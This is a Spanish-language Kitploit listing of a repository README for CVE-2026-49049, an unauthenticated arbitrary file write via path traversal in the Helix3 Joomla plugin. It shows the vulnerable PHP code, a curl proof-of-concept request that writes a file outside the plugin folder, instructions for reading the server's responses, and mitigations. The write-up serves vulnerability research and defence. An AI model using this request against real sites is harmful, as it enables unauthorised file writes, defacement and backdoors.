Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-49049 | Kitploit
Herramientas/GitHubGitHub/dr-d25/cve-2026-49049
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y Educación
GitHubdr-d25/cve-2026-49049

CVE-2026-49049

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Investigación de la vulnerabilidad CVE-2026-49049: Unauthenticated Arbitrary File Write en JoomShaper Helix3 (Joomla)

El repositorio contiene materiales, análisis técnico y Proof of Concept (PoC) para la vulnerabilidad crítica CVE-2026-49049, encontrada en el framework de plantillas heredado Helix3 de JoomShaper para CMS Joomla (versiones desde 1.0 hasta 3.1.0 inclusive).

La vulnerabilidad se explota activamente en la naturaleza mediante botnets automatizados (en particular, en el marco de la campaña de defacement AntonKill).


🔬 Análisis técnico de la vulnerabilidad

El problema radica en el manejador AJAX del sistema de Joomla (com_ajax), que invoca el método onAjaxHelix3() en el plugin plg_ajax_helix3. Los desarrolladores del componente no contemplaron:

  1. La verificación de autenticación del usuario (Authentication Bypass).
  2. La verificación de tokens CSRF.
  3. La validación de rutas (Path Traversal Validation) al procesar el parámetro layoutName.

Lógica del código PHP vulnerable:

root@kitploit:~
public function onAjaxHelix3() {
    \$input = Factory::getApplication()->input;
    \(data  =\)input->post->get('data', [], 'array');
    \(action =\)data['action'];
    \(layoutName =\)data['layoutName'];

    // Отсутствует проверка прав! Отсутствует фильтрация пути!
    \$filepath = \(layoutPath .\)layoutName; 

    switch (\$action) {
        case 'save':
            // Запись контролируемых данных в произвольную директорию сервера
            fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
            break;
    }
}

🛠 Proof of Concept (PoC)

Para verificar la vulnerabilidad se utiliza una petición POST con el tipo de contenido application/x-www-form-urlencoded. Este método de empaquetado de parámetros es el más eficaz para demostrar la brecha.

Vector de ataque (comando cURL):

root@kitploit:~
curl -sk -X POST \
  'https://target.com' \
  -d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'

Desglose detallado de los datos enviados:


🎯 Análisis de las respuestas del servidor (Formas de validación)

Al realizar una prueba de penetración, el servidor puede devolver diferentes tipos de respuesta. Su interpretación es de vital importancia:

Variante A: La vulnerabilidad se ejecutó con éxito (archivo escrito)

Respuesta del servidor:

root@kitploit:~
{"success":true,"message":null,"messages":null,"data":[]}

Interpretación: El plugin es vulnerable, no hay restricciones del sistema operativo. El archivo se creó correctamente en la raíz del sitio y está disponible en https://target.com. El sitio requiere limpieza y aislamiento inmediatos.

Variante B: El plugin es vulnerable, pero la protección del sistema operativo se activó

Respuesta del servidor:

root@kitploit:~
{
  "success":false,
  "message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
  "messages":null,
  "data":null
}

Interpretación: Éxito parcial. La lógica del plugin Helix3 está comprometida: aceptó los datos sin autenticación e intentó abrir un archivo para escritura (fopen). Sin embargo, el sistema operativo Linux bloqueó esta acción porque el usuario del servidor web (por ejemplo, www-data) no tiene permisos de escritura en la raíz del sitio.

Variante C: El sistema está protegido (actualizado o eliminado)

Respuesta del servidor: Estado 404 Not Found, 403 Forbidden o respuesta vacía []. Interpretación: El plugin se actualizó a una versión segura (3.1.1+), donde se añadió la verificación de autenticación, o se eliminó por completo de la CMS.


🛡 Mitigación y eliminación de la amenaza

  1. Actualización / Eliminación: Actualice Helix3 a la versión 3.1.1 o superior. Si el framework no se utiliza, elimine por completo el plugin plg_ajax_helix3 a través del panel de administración de Joomla.
  2. Protección a nivel de WAF (Nginx): Añada una regla para bloquear las peticiones POST maliciosas:
    root@kitploit:~
    if (\(request_method = POST) { set\)test "P"; }
    if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
    if (\$test = PH) { return 403; }
    

Aviso legal: Este material se proporciona exclusivamente con fines educativos y para auditorías legítimas de seguridad de sistemas (Pentesting). El autor no se hace responsable del uso indebido de la información proporcionada.

Descargar herramienta
ParámetroValor / EjemploQué significa para el servidor
optioncom_ajaxPunto de entrada en Joomla para procesar peticiones AJAX.
pluginhelix3Identificador del sistema que provoca que Joomla transfiera el control al plugin vulnerable Helix3.
formatjsonIndica al motor que devuelva la respuesta en formato JSON.
-ddata[...]Cuerpo de la petición (Form Data), interpretado automáticamente por PHP como la variable global $_POST.
data[action]saveInterruptor switch en el código. Instruye al plugin para que invoque la función de escritura (creación) de archivos.
data[layoutName]../../../../../../../exampleVector de ataque clave (Path Traversal). Los caracteres ../ fuerzan al sistema operativo a salir de la carpeta aislada del plugin hacia el directorio raíz del sitio. El plugin añade automáticamente la extensión .json.
data[content]{"probe":"test"}Carga útil (Payload). Datos de texto que se escriben físicamente dentro del archivo creado example.json. En ataques reales, aquí se inyecta código malicioso de defacement o backdoors.